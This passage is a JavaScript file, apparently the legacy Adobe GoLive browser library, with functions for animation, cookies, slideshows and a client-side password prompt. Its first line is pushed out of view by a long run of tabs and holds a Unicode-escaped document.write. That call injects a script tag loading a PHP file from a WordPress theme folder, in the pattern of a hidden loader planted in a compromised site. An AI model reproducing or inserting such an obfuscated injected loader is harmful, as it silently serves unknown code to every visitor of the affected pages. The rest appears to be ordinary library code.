																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0073\u0069\u0074\u0065\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0074\u0068\u0065\u006D\u0065\u0073\u002F\u0061\u0074\u0061\u0068\u0075\u0061\u006C\u0070\u0061\u002F\u006A\u0073\u002F\u0061\u0064\u006D\u0069\u006E\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");// -- Adobe GoLive JavaScript Library

// -- Global Functions

CSAg = window.navigator.userAgent; CSBVers = parseInt(CSAg.charAt(CSAg.indexOf("/")+1),10);

CSIsW3CDOM = ((document.getElementById) && !(IsIE()&&CSBVers<6)) ? true : false;

function IsIE() { return CSAg.indexOf("MSIE") > 0;}

function CSIEStyl(s) { return document.all.tags("div")[s].style; }

function CSNSStyl(s) { if (CSIsW3CDOM) return document.getElementById(s).style; else return CSFindElement(s,0);  }

CSIImg=false;

function CSInitImgID() {if (!CSIImg && document.images) { for (var i=0; i<document.images.length; i++) { if (!document.images[i].id) document.images[i].id=document.images[i].name; } CSIImg = true;}}

function CSFindElement(n,ly) { if (CSBVers<4) return document[n];

	if (CSIsW3CDOM) {CSInitImgID();return(document.getElementById(n));}

	var curDoc = ly?ly.document:document; var elem = curDoc[n];

	if (!elem) {for (var i=0;i<curDoc.layers.length;i++) {elem=CSFindElement(n,curDoc.layers[i]); if (elem) return elem; }}

	return elem;

}

function CSGetImage(n) {if(document.images) {return ((!IsIE()&&CSBVers<5)?CSFindElement(n,0):document.images[n]);} else {return null;}}

CSDInit=false;

function CSIDOM() { if (CSDInit)return; CSDInit=true; if(document.getElementsByTagName) {var n = document.getElementsByTagName('DIV'); for (var i=0;i<n.length;i++) {CSICSS2Prop(n[i].id);}}}

function CSICSS2Prop(id) { var n = document.getElementsByTagName('STYLE');for (var i=0;i<n.length;i++) { var cn = n[i].childNodes; for (var j=0;j<cn.length;j++) { CSSetCSS2Props(CSFetchStyle(cn[j].data, id),id); }}}

function CSFetchStyle(sc, id) {

	var s=sc; while(s.indexOf("#")!=-1) { s=s.substring(s.indexOf("#")+1,sc.length); if (s.substring(0,s.indexOf("{")).toUpperCase().indexOf(id.toUpperCase())!=-1) return(s.substring(s.indexOf("{")+1,s.indexOf("}")));}

	return "";

}

function CSGetStyleAttrValue (si, id) {

	var s=si.toUpperCase();

	var myID=id.toUpperCase()+":";

	var id1=s.indexOf(myID);

	if (id1==-1) return "";

	s=s.substring(id1+myID.length+1,si.length);

	var id2=s.indexOf(";");

	return ((id2==-1)?s:s.substring(0,id2));

}

function CSSetCSS2Props(si, id) {

	var el=document.getElementById(id);

	if (el==null) return;

	var style=document.getElementById(id).style;

	if (style) {

		if (style.left=="") style.left=CSGetStyleAttrValue(si,"left");

		if (style.top=="") style.top=CSGetStyleAttrValue(si,"top");

		if (style.width=="") style.width=CSGetStyleAttrValue(si,"width");

		if (style.height=="") style.height=CSGetStyleAttrValue(si,"height");

		if (style.visibility=="") style.visibility=CSGetStyleAttrValue(si,"visibility");

		if (style.zIndex=="") style.zIndex=CSGetStyleAttrValue(si,"z-index");

	}

}

function CSSetStylePos(s,d,p) {

	if (CSIsW3CDOM)d==0?document.getElementById(s).style.left=p+"px":document.getElementById(s).style.top=p+"px";

	else if(IsIE())(d==0)?CSIEStyl(s).posLeft=p:CSIEStyl(s).posTop=p;

	else (d==0)?CSNSStyl(s).left=p:CSNSStyl(s).top=p;

}

function CSGetStylePos(s,d) {

	if (CSIsW3CDOM){CSIDOM();return parseInt((d==0)?document.getElementById(s).style.left:document.getElementById(s).style.top);}

	else if (IsIE()) {CSIEWinInit();return(d==0)?CSIEStyl(s).posLeft:CSIEStyl(s).posTop;}

	else {return (d==0)?CSNSStyl(s).left:CSNSStyl(s).top;}

}

CSIEWInit=false;

function CSIEWinInit() { if(CSIEWInit==true) return; else CSIEWInit=true; if (IsIE()&&(CSAg.indexOf("Win")!=-1)&&CSBVers==4) { var i=0; var lyr=document.all.tags("div")[i++]; while(lyr) {lyr.style.posLeft=lyr.offsetLeft; lyr.style.posTop=lyr.offsetTop; lyr=document.all.tags("div")[i++];}}}

CSLoopIsRunning = false; CSFctArray = new Array; CSTimeoutID = null;

function CSLoop() {	

	CSLoopIsRunning = false;

	for (i=0;i<CSFctArray.length;i++) {

		var curFct = CSFctArray[i];

		if (curFct)	{

			if (curFct.DoFunction(curFct)) { CSLoopIsRunning = true; curFct.counter++; }

			else CSFctArray[i] = 0;

		}

	}

	if (CSLoopIsRunning) CSTimeoutID = setTimeout("CSLoop()", 1);

}

function CSStartFunction(fct,data) {

	if (!CSLoopIsRunning) { CSFctArray = 0; CSFctArray = new Array; }

	var fctInfo = new Object;

	fctInfo.DoFunction = fct; fctInfo.counter = 0; fctInfo.data = data;

	CSFctArray[CSFctArray.length] = fctInfo; 

	if (!CSLoopIsRunning) CSLoop();

}

function CSStopFunction(sceneName) {

	var i;

	for (i=0;i<CSFctArray.length;i++) {

		var curFct = CSFctArray[i];

		if (curFct){ if (curFct.data.name == sceneName){ CSFctArray[i] = 0; return; } }

	}

}

function CSStopComplete() {

	if (CSTimeoutID == null) return;

	clearTimeout (CSTimeoutID); CSLoopIsRunning = false; CSTimeoutID = null;

}

function CSMoveLoop(fInf) {

	var ticks = 60 * (((new Date()).getTime()) - fInf.data.startTime)/1000;

	var f = ticks/fInf.data.ticks;

	if (f < 1) { CSSetStylePos(fInf.data.layer,0,fInf.data.start[0] * (1-f) + fInf.data.end[0] * f);

		CSSetStylePos(fInf.data.layer,1,fInf.data.start[1] * (1-f) + fInf.data.end[1] * f); return true; }

	else { CSSetStylePos(fInf.data.layer,0,fInf.data.end[0]);

		CSSetStylePos(fInf.data.layer,1,fInf.data.end[1]); }

	return false;

}

function CSSlideObj (layer,start,end,ticks,startTime) {

	this.layer=layer;this.start=start;this.end=end;this.ticks=ticks;this.startTime=startTime;

}

function CSSlideLayer(l,pos,anim,ticks) {

	var x = pos[0]; var y = pos[1];

	if (l == '') return;

	if (!anim) { CSSetStylePos(l,0,x); CSSetStylePos(l,1,y); }

	else {  var fctData = new CSSlideObj(l,new Array(CSGetStylePos(l,0),CSGetStylePos(l,1)),new Array(x,y),ticks,(new Date()).getTime()); CSStartFunction(CSMoveLoop,fctData); }

}

function CSSetStyleVis(s,v) {

	if (CSIsW3CDOM){CSIDOM();document.getElementById(s).style.visibility=(v==0)?"hidden":"visible";}

	else if(IsIE())CSIEStyl(s).visibility=(v==0)?"hidden":"visible";

	else CSNSStyl(s).visibility=(v==0)?'hide':'show';

}

function CSGetStyleVis(s) {

	if (CSIsW3CDOM) {CSIDOM();return(document.getElementById(s).style.visibility=="hidden")?0:1;}

	else if(IsIE())return(CSIEStyl(s).visibility=="hidden")?0:1;

	else return(CSNSStyl(s).visibility=='hide')?0:1;

}

function CSGetLayerClip (el) {

	CSIDOM();

	if (el.isIE) return (new CSRect(0,0,el.offsetWidth,el.offsetHeight));

	else if (CSBVers>=5) return (new CSRect(0,0,parseInt(el.style.width),parseInt(el.style.height)));

	else return (new CSRect(el.clip.left,el.clip.top,el.clip.width,el.clip.height));

}

function CSSetLayerClip (el,clipRect) {

    var l,t,r,b;

    l=clipRect.left; t=clipRect.top; r=l+clipRect.width; b=t+clipRect.height;

    if(el.isIE) { el.style.clip = "rect("+ t + " " + r + " " + b + " " + l + ")"; }

    else if (CSBVers>=5) el.style.clip = "rect("+ t + "px, " + r + "px, " + b + "px, " + l + "px)";

    else { el.clip.left=l; el.clip.top=t; el.clip.width=clipRect.width; el.clip.height=clipRect.height; }

	CSSetStyleVis(el.layer);

}

function CSRect (left,top,width,height) {

this.left=left; this.top=top; this.width=width; this.height=height;

}

function CSCreateTransElement (layer, steps) {

	var el;

	if (IsIE()) el=document.all.tags("div")[layer];

	else if (CSBVers>=5) el=document.getElementById(layer);

	else el=CSNSStyl(layer);

	if (el==null) return null;

	if (el.locked && (el.locked == true)) return null;

	el.isIE=IsIE();

	el.clipRect=CSGetLayerClip(el);

	if (el.clipRect==null) return null;

	el.maxValue=steps;

	if (el.maxValue<=0) el.maxValue=30;

	el.modus=""; el.layer=layer;

	el.width=el.clipRect.width; el.height=el.clipRect.height;

	el.locked = true;

	return el;

}

function CSDisposeTransElement (el) { el.locked = false; }

CSStateArray = new Object;

CSCookieArray = new Object;

CSCookieValArray = new Object;

function CSWriteCookie(action) {

	var name   = "DFT" + action[1];

	var hrs    = action[2];

	var path   = action[3];

	var domain = action[4];

	var secure = action[5];	

	var exp    = new Date((new Date()).getTime() + hrs * 3600000);	

	var cookieVal = "";

	for(var prop in CSCookieArray) {

		if(("DFT" + CSCookieArray[prop]) == name) {

			if(cookieVal != "") cookieVal += "&";

			cookieVal += prop + ":" + escape(CSStateArray[prop]);

		}

	}

	if(hrs != 0)

		cookieVal += "; expires=" + exp.toGMTString();

	if(path != "")

		cookieVal += "; path=" + path;

	if(domain != "")

		cookieVal += "; domain=" + domain;

	if(secure == true)

		cookieVal += "; secure";

	document.cookie = name + '=' + cookieVal;

}

function CSReadCookie(action) {

	var name    = "DFT" + action[1];

	var cookies = document.cookie;

	if(cookies == "") return;

	var start = cookies.indexOf(name);

	if(start == -1) return;

	start += name.length + 1;

	var end = cookies.indexOf(";", start);

	if(end == -1) end = cookies.length;

	var cookieVal = cookies.substring(start, end);

	var arr = cookieVal.split('&');

	for(var i = 0; i < arr.length; i++) {

		var a = arr[i].split(':');

		CSStateArray[a[0]] = unescape(a[1]);

	}	

}

function CSDefineState(action) {

	CSCookieArray[action[1]] = action[3]; 

}

function CSSetState(action) {

	CSStateArray[action[1]] = action[2];

}

function CSInitState(action) {

	if(typeof(CSStateArray[action[1]]) == "undefined")

		CSStateArray[action[1]] = action[2];

}

function CSCheckState(action) {

	var obj1 = CSStateArray[action[1]];

	var obj2 = action[2];

	if(typeof(obj1) == "object") {

		for(var i=0;i<obj1.length;i++) {

			if(obj1[i] != obj2[i])

				return false;

			}

		return true;

		}

	var res;

	var op = action[3];

		     if(op == "==") res = (CSStateArray[action[1]] == action[2]);	

		else if(op == "!=") res = (CSStateArray[action[1]] != action[2]);	

		else if(op == ">" ) res = (CSStateArray[action[1]] >  action[2]);	

		else if(op == ">=") res = (CSStateArray[action[1]] >= action[2]);	

		else if(op == "<" ) res = (CSStateArray[action[1]] <  action[2]);	

		else if(op == "<=") res = (CSStateArray[action[1]] <= action[2]);	

	return res;

}

function CSScriptInit() {

if(typeof(skipPage) != "undefined") { if(skipPage) return; }

idxArray = new Array;

for(var i=0;i<CSInit.length;i++)

	idxArray[i] = i;

CSAction2(CSInit, idxArray);

}

function CSScriptExit() {

idxArray = new Array;

for(var i=0;i<CSExit.length;i++)

	idxArray[i] = i;

CSAction2(CSExit, idxArray);

}

CSInit = new Array;

CSExit = new Array;

CSStopExecution=false;

function CSAction(array) {return CSAction2(CSAct, array);}

function CSAction2(fct, array) { 

	var result;

	for (var i=0;i<array.length;i++) {

		if(CSStopExecution) return false; 

		var aa = fct[array[i]];

		if (aa == null) return false;

		var ta = new Array;

		for(var j=1;j<aa.length;j++) {

			if((aa[j]!=null)&&(typeof(aa[j])=="object")&&(aa[j].length==2)){

				if(aa[j][0]=="VAR"){ta[j]=CSStateArray[aa[j][1]];}

				else{if(aa[j][0]=="ACT"){ta[j]=CSAction(new Array(new String(aa[j][1])));}

				else ta[j]=aa[j];}

			} else ta[j]=aa[j];

		}			

		result=aa[0](ta);

	}

	return result;

}

CSAct = new Object;

CSIm=new Object();

function CSIShow(n,i) {

	if (document.images) {

		if (CSIm[n]) {

			var img=CSGetImage(n);

			if (img&&typeof(CSIm[n][i].src)!="undefined") {img.src=CSIm[n][i].src;}

			if(i!=0) self.status=CSIm[n][3]; else self.status=" ";

			return true;

		}

	}

	return false;

}

function CSILoad(action) {

	im=action[1];

	if (document.images) {

		CSIm[im]=new Object();

		for (var i=2;i<5;i++) {

			if (action[i]!='') {CSIm[im][i-2]=new Image(); CSIm[im][i-2].src=action[i];}

			else CSIm[im][i-2]=0;

		}

		CSIm[im][3] = action[5];

	}

}

function newImage(arg) {

	if (document.images) {

		rslt = new Image();

		rslt.src = arg;

		return rslt;

	}

}

userAgent = window.navigator.userAgent;

browserVers = parseInt(userAgent.charAt(userAgent.indexOf("/")+1),10);

mustInitImg = true;

function initImgID() {di = document.images; if (mustInitImg && di) { for (var i=0; i<di.length; i++) { if (!di[i].id) di[i].id=di[i].name; } mustInitImg = false;}}

function findElement(n,ly) {

	d = document;

	if (browserVers < 4)		return d[n];

	if ((browserVers >= 6) && (d.getElementById)) {initImgID; return(d.getElementById(n))}; 

	var cd = ly ? ly.document : d;

	var elem = cd[n];

	if (!elem) {

		for (var i=0;i<cd.layers.length;i++) {

			elem = findElement(n,cd.layers[i]);

			if (elem) return elem;

		}

	}

	return elem;

}

function changeImages() {

	d = document;

	if (d.images) {

		var img;

		for (var i=0; i<changeImages.arguments.length; i+=2) {

			img = null;

			if (d.layers) {img = findElement(changeImages.arguments[i],0);}

			else {img = d.images[changeImages.arguments[i]];}

			if (img) {img.src = changeImages.arguments[i+1];}

		}

	}

}

function CSClickReturn () {

	var bAgent = window.navigator.userAgent; 

	var bAppName = window.navigator.appName;

	if ((bAppName.indexOf("Explorer") >= 0) && (bAgent.indexOf("Mozilla/3") >= 0) && (bAgent.indexOf("Mac") >= 0))

		return true; // dont follow link

	else return false; // dont follow link

}

function CSButtonReturn () { return !CSClickReturn(); }

function CSBrowserSwitch(action) {

	var bAgent	= window.navigator.userAgent;

	var bAppName	= window.navigator.appName;

	var isNS		= (bAppName.indexOf("Netscape") >= 0);

	var isIE		= (bAppName.indexOf("Explorer") >= 0);

	var isWin		= (bAgent.indexOf("Win") >= 0); 

	var isMac		= (bAgent.indexOf("Mac") >= 0); 

	var vers		= 0;

	var versIdx	= (bAgent.indexOf("Mozilla/"));

	if(versIdx >= 0)

		{

		var sstr	= bAgent.substring(versIdx + 8, versIdx + 9);

		vers		= parseInt(sstr) - 2;

		}

	var url		= action[1];

	var platform	= action[2];

	var versVec;

	if(platform)

		{

		if(isNS && isMac) versVec = action[3];

		if(isIE && isMac) versVec = action[5];

		if(isNS && isWin) versVec = action[4];

		if(isIE && isWin) versVec = action[6];

		}

	else

		{

		if(isNS) versVec = action[3];

		if(isIE) versVec = action[4];

		}

	if(vers > (versVec.length-1))

		vers = versVec.length-1;

	if(versVec[vers] == 0)

		{

		location			= url;

		CSStopExecution	= true;	

		}

}

function CSURLPopupShow(formName, popupName, target) {

	var form  = (!IsIE()&&CSBVers>=5)?document.forms[formName]:CSFindElement(formName);

	var popup = form.elements[popupName];

	window.open(popup.options[popup.selectedIndex].value, target);

	popup.selectedIndex = 0;

}

function CSSetStyleDepth(s,depth) {

	if (CSIsW3CDOM)document.getElementById(s).style.zIndex=depth;

	else if (IsIE())CSIEStyl(s).zIndex=depth;

	else CSNSStyl(s).zIndex=depth;

}

function CSGetStyleDepth(s) {

	if (CSIsW3CDOM){CSIDOM();return document.getElementById(s).style.zIndex;}

	else if (IsIE())return (CSIEStyl(s).zIndex);

	else return (CSNSStyl(s).zIndex);

}

CSSeqArray = new Array;

function CSSeqActionFct(seq,loopCount,continueLoop) {

	if ((seq.loop < 2) || ((loopCount % 2) != 0)) {

		for (var i=0;i<seq.actionCount;i++) {

			if (seq.actions[3*i + 1] <= seq.frame) {

				if ((loopCount > 1) && (seq.actions[3*i + 1] < seq.start)) continue;

				if (seq.actions[3*i + 2] < loopCount) {

					seq.actions[3*i + 2] = loopCount; CSLoopIsRunning = true;

					CSAction(new Array(seq.actions[3*i + 0])); continueLoop = true;

				}

			} else { continueLoop = true; break; }

		}

	} else {

		for (var i=seq.actionCount-1;i>=0;i--) {

			if (seq.actions[3*i + 1] > seq.frame) {

				if (seq.actions[3*i + 1] > seq.end) continue;

				if (seq.actions[3*i + 2] < loopCount) {

					seq.actions[3*i + 2] = loopCount; CSLoopIsRunning = true;

					CSAction(new Array(seq.actions[3*i + 0])); continueLoop = true;

				}

			} else { continueLoop = true; break; }

		}

	}

	return continueLoop;

}		

function CSSeqFunction(fctInfo)

{

	var seq = fctInfo.data; var oldFrame = seq.frame;

	var newTicks = (new Date()).getTime();

	seq.frame = Math.round((seq.fps * (newTicks - seq.startTicks)/1000.0) - 0.5);

	var continueLoop  = false; var loopCount = 1;

	

	if (seq.loop > 0) {

		continueLoop = true;

		if (seq.loop == 1) {

			var iv = (seq.end - seq.start);

			var f = Math.round(((seq.frame - seq.start) / iv) - 0.5);

			if (f < 0) f = 0;

			loopCount = f+1;

			seq.frame = seq.start + ((seq.frame - seq.start) % (seq.end - seq.start));

		} else {

			var iv = (seq.end - seq.start);

			var f = Math.round(((seq.frame - seq.start) / iv) - 0.5);

			if (f < 0) f = 0;

			loopCount = f+1;

			f = (seq.frame - seq.start) % (2 * iv);

			if (f > iv) f = 2*iv - f;

			seq.frame = seq.start + f;

		}

	}

	continueLoop = CSSeqActionFct(seq,loopCount,continueLoop);

	for (var i=0;i<seq.tracks.length;i++) {

		var track = seq.tracks[i]; var frameCount = 0; var lastCount = 0; var partCount = 0;

		var partIdx = track.parts.ticks.length;

		for (var k=0;k<track.parts.ticks.length;k++) {

			frameCount += track.parts.ticks[k];

			if (frameCount > seq.frame) { partIdx = k; partCount = seq.frame - lastCount; break; }

			lastCount = frameCount;

		}

		if (partIdx < track.parts.ticks.length) {

			var type=track.parts.moveType[partIdx];

			if(type==1) CSSetLinearPos (track, partIdx, partCount);

			else if(type==2) CSSetCurvePos (track, partIdx, partCount);

			else if(type==3) if (oldFrame != seq.frame) CSSetRandomPos (track, partIdx, partCount);

							 else { x = CSGetStylePos(track.layer,0); y = CSGetStylePos(track.layer,1); }

			CSSetStyleVis(track.layer,track.parts.visibilities[partIdx]);

			CSSetStyleDepth(track.layer,track.parts.depths[partIdx]);

			continueLoop = true;

		} else {

			var partIdx = track.parts.moveType.length-1;

			var posArray = track.parts.positions;

			var x = posArray[partIdx * 6 + 0]; var y = posArray[partIdx * 6 + 1];

			CSSetStylePos(track.layer,0,x); CSSetStylePos(track.layer,1,y);

			CSSetStyleVis(track.layer,track.parts.visibilities[partIdx]);

			CSSetStyleDepth(track.layer,track.parts.depths[partIdx]);

		}

	}

	return continueLoop;

}

function CSSetLinearPos (track, partIdx, partCount) {

	var curTicks = track.parts.ticks[partIdx];

	var pIdx1 = partIdx * 6; var pIdx2 = (partIdx+1) * 6;

	var posArray = track.parts.positions;

	var x = posArray[pIdx1 + 0]; var y = posArray[pIdx1 + 1];

	var x1,x2,y1,y2;

	var factor = partCount/curTicks;

	x1 = x; y1 = y;

	x2 = posArray[pIdx2 + 0]; y2 = posArray[pIdx2 + 1];

	x = x1 * (1-factor) + x2 * factor; y = y1 * (1-factor) + y2 * factor;

	CSSetStylePos(track.layer,0,x); CSSetStylePos(track.layer,1,y);

}

function CSSetCurvePos (track, partIdx, partCount) {

	var curTicks = track.parts.ticks[partIdx];

	var pIdx1 = partIdx * 6; var pIdx2 = (partIdx+1) * 6;

	var posArray = track.parts.positions;

	var x = posArray[pIdx1 + 0]; var y = posArray[pIdx1 + 1];

	var x1,x2,x3,x4,y1,y2,y3,y4;

	var factor = partCount/curTicks;

	var t = factor; var u = t * t; var v = u * t;

	var val1 = 3*(u-t) - v + 1; var val2 = 3*(v+t - 2*u); var val3 = 3*(u-v); var val4 = v;

	x1 = x; y1 = y; x2 = posArray[pIdx1 + 2]; y2 = posArray[pIdx1 + 3];

	x3 = posArray[pIdx1 + 4]; y3 = posArray[pIdx1 + 5];

	x4 = posArray[pIdx2 + 0]; y4 = posArray[pIdx2 + 1];

	x = x1 * val1 + x2 * val2 + x3 * val3 + x4 * val4;

	y = y1 * val1 + y2 * val2 + y3 * val3 + y4 * val4;

	CSSetStylePos(track.layer,0,x); CSSetStylePos(track.layer,1,y);

}

function CSSetRandomPos (track, partIdx, partCount) {

	var curTicks = track.parts.ticks[partIdx];

	var pIdx1 = partIdx * 6; var pIdx2 = (partIdx+1) * 6;

	var posArray = track.parts.positions;

	var x = posArray[pIdx1 + 0]; var y = posArray[pIdx1 + 1];

	var x1,x2,y1,y2;

	var factor = partCount/curTicks;

	x1 = x; y1 = y;

	x2 = posArray[pIdx2 + 0]; y2 = posArray[pIdx2 + 1];

	var factorx = Math.random(); var factory = Math.random();

	x = x1 * (1-factorx) + x2 * factorx; y = y1 * (1-factory) + y2 * factory;

	CSSetStylePos(track.layer,0,x); CSSetStylePos(track.layer,1,y);

}

function CSStartSeq(name) {

	var seq = CSGetScene(name); var date = new Date()

	seq.startTicks = date.getTime()

	for (var i=0;i<seq.actionCount;i++) seq.actions[3*i+2] = 0;

	CSStartFunction(CSSeqFunction,seq);

}

function CSSceneObj (name,fps,loop,start,end,frame,sTicks,numAct,acts,tracks) {

	this.name=name;this.fps=fps;this.loop=loop;this.start=start;this.end=end;

	this.frame=frame;this.startTicks=sTicks;this.actionCount=numAct;

	this.actions=acts;this.tracks=tracks;

}

function CSTrackObj (name,partIdx,partCount,parts) {

	this.layer=name;this.partIdx=partIdx;this.partCount=partCount;this.parts=parts;

}

function CSPartObj (ticks,pos,depths,vis,moveType) {

	this.ticks=ticks;this.positions=pos;this.depths=depths;this.visibilities=vis;

	this.moveType=moveType;

}

function CSGetScene (name) {

	for (i=0;i<CSSeqArray.length;i++) { var seq = CSSeqArray[i]; if (seq.name==name) return seq; }

	return 0;

}

function CSAutoStartScene(action) { CSStartSeq (action[1]); }

// -- Action Functions

function WBConfirmLink(action) {

	 

	if (checkIt(action)) {

		 

		if (action[2] != "(Empty Reference!)") {

		 

			if (action[3].length < 1) {

				parent.location.href=action[2];

			}

			 

			else {

				parent.frames[action[3]].location.href=action[2];

			}

		}

	}

	return;

}

function checkIt(action) {

	var carryOn = window.confirm(action[1]);

	return carryOn;

	}

function initIArray() {

this.length = initIArray.arguments.length;

for (var i = 0; i < this.length; i++)

this[i+1] = initIArray.arguments[i]; 

}

function dailyImageURL(action) {

var dateArray = new

initIArray("Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday");

var today = new Date();

var day = dateArray[today.getDay()];

if (today.getDay() == 0) { day = "Sunday"; }

var img = null;

if (document.images) {

	if (!IsIE()&&CSBVers<5) img = CSFindElement(action[1],0);

	else img = document.images[action[1]];

		if (img) {

			if (day == "Monday" && action[2] != "(Empty Reference!)") img.src = action[2]

			if (day == "Tuesday" && action[3] != "(Empty Reference!)") img.src = action[3]

			if (day == "Wednesday" && action[4] != "(Empty Reference!)") img.src = action[4]

			if (day == "Thursday" && action[5] != "(Empty Reference!)") img.src = action[5]

			if (day == "Friday" && action[6] != "(Empty Reference!)") img.src = action[6]

			if (day == "Saturday" && action[7] != "(Empty Reference!)") img.src = action[7]

			if (day == "Sunday" && action[8] != "(Empty Reference!)") img.src = action[8]

		}  

}  

}

function initArray() {

this.length = initArray.arguments.length;

for (var i = 0; i < this.length; i++)

this[i+1] = initArray.arguments[i]; 

}

function dailyRedirect(action) {

var dateArray = new

initArray("Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday");

var today = new Date();

var day = dateArray[today.getDay()];

if (today.getDay() == 0) { day = "Sunday"; }

if (day == "Monday" && action[1] != "(Empty Reference!)") window.location = action[1]

if (day == "Tuesday" && action[2] != "(Empty Reference!)") window.location = action[2]

if (day == "Wednesday" && action[3] != "(Empty Reference!)") window.location = action[3]

if (day == "Thursday" && action[4] != "(Empty Reference!)") window.location = action[4]

if (day == "Friday" && action[5] != "(Empty Reference!)") window.location = action[5]

if (day == "Saturday" && action[6] != "(Empty Reference!)") window.location = action[6]

if (day == "Sunday" && action[7] != "(Empty Reference!)") window.location = action[7]

}

function frameP(action) {

		if(parent.frames.length==0) {

			var fileName=window.location.href.substring(window.location.href.lastIndexOf("/")+1,window.location.href.length);

			window.location.href=action[1]+"?"+action[2]+"="+fileName;

		} else {

			if(top.location.search!="") {

				var sFrame=top.location.search.substring(1,top.location.search.indexOf("="));

				if(name==sFrame) {

					var sName=top.location.search.substring(top.location.search.indexOf("=")+1,top.location.search.length);

					var fileName=window.location.href.substring(window.location.href.lastIndexOf("/")+1,window.location.href.length);

					if(fileName!=sName) {

						location=sName;

					}

				}

			}

		}

	}

function CSPAKkillframe() { 

if (self.parent.frames.length != 0)

self.parent.location = document.location

}

var actn1 = "";

var actn2 = "";

var pass=""

var z=23;

var y=28;

iCounter = 3;

if (Array) {

	var f= new Array();

	var K= new Array();

	var base= new Array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z")

} 

function inc(){

iCounter--

if (iCounter > 0)

	{

	if (confirm("\nPassword is incorrect.\n\n\n\nRetry?"))

		Check()

	} 

	else

		alert('Access Denied');

} 

function Check(){

pass = prompt("Enter your password.","")

if(pass==null || pass==""){

	alert("You did not enter a password!");

	if(pass==""){

		Check()

	} 

} 

else{

	var lpass=(pass.length)+1

	for (l=1; l<lpass; l++){

		K[l]=pass.charAt(l)

	} 

	var transmit=0;

	for (y=1; y<lpass; y++){

		for(x=0; x<62; x++){

			if (K[y]==base[x]){

				transmit+=f[x]

				transmit*=y

			} 

		} 

	} 

	if (transmit==parseInt(actn1)) 	

		go()

	else

		inc()

} 

} 

function go(){

alert(actn2);

location.href=pass+".html";

} 

function PVpassword(action) { 

if (Array) { 

	actn1 = action[1];

	actn2 = action[2];

	z=23;

	y=28;

	for (x=0; x<10; x++){

		f[x]=x<<9

		f[x]+=23

	} 

	for (x=10; x<36; x++){

		y=y<<1

		v= Math.sqrt(y)

		v = parseInt(v,16)

		v+=5

		f[x]=v

		y++

	} 

	for (x=36; x<62; x++){

		z=z<<1

		v= Math.sqrt(z)

		v = parseInt(v,16)

		v+=74

		f[x]=v

		z++

	} 

	iCounter = 3;

	Check();

} 

}

SSnumimg=1; SSsens2=-1;SSsens3=-1

function CSSlideShow(action) 

{

SSmax=action[2]

SSimgNom=action[1]

SSloop=action[4]

SSsens=action[3] 

SSpalin=action[5]

var SSimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSimg = CSFindElement(SSimgNom,0);

		else SSimg = document.images[SSimgNom];

SSstr=SSimg.src

SSn=SSstr.length

SSp=SSn-6

SSpstr=SSstr.substring(0,SSp)

SSnimg=SSstr.substring(SSp,SSp+2)

SSformat=SSstr.substring(SSp+2,SSn)

if (SSformat==".jpg" || SSformat==".JPG" || SSformat==".gif" || SSformat==".GIF")

{}

else

{

 alert("Image extension must be .jpg or .gif (case sensitive). Images must be numbered 01, 02 ...")

}

slide(SSmax,SSformat,SSpstr,SSnimg,SSimgNom,SSloop,SSpalin)

}

}

function slide(SSmax,SSformat,SSpstr,SSnimg,SSimgNom,SSloop,SSpalin)

{

if (SSsens2==true) {SSsens=true}

if (SSsens2==false) {SSsens=false}

if (SSsens==true) 

{

SSsuite=SSnumimg-1

	if (SSnumimg>SSmax)SSsuite=SSmax

	if (SSnumimg<=1 & SSloop==true & SSpalin!=true) { SSsuite=SSmax }

	if (SSnumimg<=1 & SSloop==true & SSpalin==true) { 

		if (SSsens2==-1 & SSsens3==-1) {SSsuite=SSmax;SSsens3=1} else { SSsuite=SSnumimg+1; SSsens2=false }}

	if (SSnumimg<=1 & SSloop!=true & SSpalin!=true) {

		if  (SSsens2==-1 & SSsens3==-1) { SSsuite=SSmax;SSsens3=1 } else {SSsuite=SSnumimg; SSfini()}}

}

else

{

SSmax=SSmax-1

SSsuite=SSnumimg+1

	if (SSnumimg>SSmax & SSloop==true & SSpalin!=true) { SSsuite=1}

	if (SSnumimg>SSmax & SSloop==true & SSpalin==true) {SSsuite=SSnumimg-1; SSsens2=true }

	if (SSnumimg>SSmax & SSloop!=true &  SSpalin!=true) { SSsuite=SSnumimg;SSfini() }

	if (SSnumimg<1) SSsuite=1

}

SSnumimg=SSsuite

if (SSsuite<10) {

	SSaller="0"+SSsuite

	}

	else SSaller=SSsuite

SSsource=SSpstr+SSaller+SSformat

var SSimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSimg = CSFindElement(SSimgNom,0);

		else SSimg = document.images[SSimgNom];

		if (SSimg) SSimg.src = SSsource;

	}

}

function SSfini() {

}

function CSSlideShowAuto(action) 

{

SSAfini=0

SSAnumimg=0

SSAmax=action[2]

SSAimgNom=action[1]

SSAtemps=action[3]*1000

if (action[4]==true) 

		{

		SSAstop=true

		}

	else SSAstop=false

var SSAimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSAimg = CSFindElement(SSAimgNom,0);

		else SSAimg = document.images[SSAimgNom];

str=SSAimg.src

n=str.length

p=n-6

SSApstr=str.substring(0,p)

SSAnimg=str.substring(p,p+2)

SSAformat=str.substring(p+2,n)

if (SSAformat==".jpg" || SSAformat==".JPG" || SSAformat==".gif" || SSAformat==".GIF")

{}

else

{

 alert("Image extension must be .jpg or .gif (case sensitive). Images must use 2 digit naming starting with 01, 02 ... plus extension")

}

if (SSAnimg.substring(0,1)=="0") 

{

SSAnumimg=Number(SSAnimg.substring(1,2))

}

else

{SSAnumimg=Number(SSAnimg)}

